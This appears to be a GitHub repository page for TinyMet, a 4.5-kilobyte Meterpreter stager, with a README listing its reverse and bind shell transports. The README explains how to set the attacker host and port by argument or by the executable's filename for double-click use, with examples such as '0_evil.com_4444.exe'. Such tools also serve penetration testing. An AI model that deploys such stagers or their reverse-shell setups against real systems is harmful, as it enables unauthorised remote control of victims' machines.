A "tiny" meterpreter stager
Switch branches/tags
Nothing to show
Clone or download
Fetching latest commit…
Cannot retrieve the latest commit at this time.
Permalink
Failed to load latest commit information.
.gitattributes initial commit May 17, 2014
.gitignore initial commit May 17, 2014
README.md Update readme Oct 15, 2015
Source.cpp All works fine (I guess) Oct 15, 2015
TinyMet.sln initial commit May 17, 2014
TinyMet.vcxproj initial commit May 17, 2014
TinyMet.vcxproj.filters initial commit May 17, 2014
TinyMet.zip Create ZIP file Oct 15, 2015

README.md

TinyMet

TinyMet is a tiny “4.5 kilobytes” flexible meterpreter stager, which supports multiple meterpreter transports, setting LPORT and LHOST during runtime.

Transport, LPORT and LHOST are set during runtime through either of the following:

  • Command line arguments.
  • Naming the .exe file in a special way.

What's new in v0.2:

  • Now tinymet can parse the Transport, LPORT and LHOST from its own filename through separating them by underscore
  • Example: "0_evil.com_4444.exe" will use reverse_tcp, LHOST=evil.com, LPORT=4444
  • This makes tinymet more (double-click/payload-like/argument-less) friendly.

Available transports are as follows:

  • 0: reverse_tcp
  • 1: reverse_http
  • 2: reverse_https
  • 3: bind_tcp

Usage#1:

tinymet.exe TRANSPORT LHOST LPORT

Example:
"tinymet.exe 2 host.com 443" Will use reverse_https and connect to host.com:443

Usage#2: name the file using the folowing convention and run without args:

TRANSPORT_LHOST_LPORT.exe

Example:
Setting the filename to "2_host.com_443.exe" and running it without args will do exactly the same as Example#1.

Please visit http://tinymet.com for details.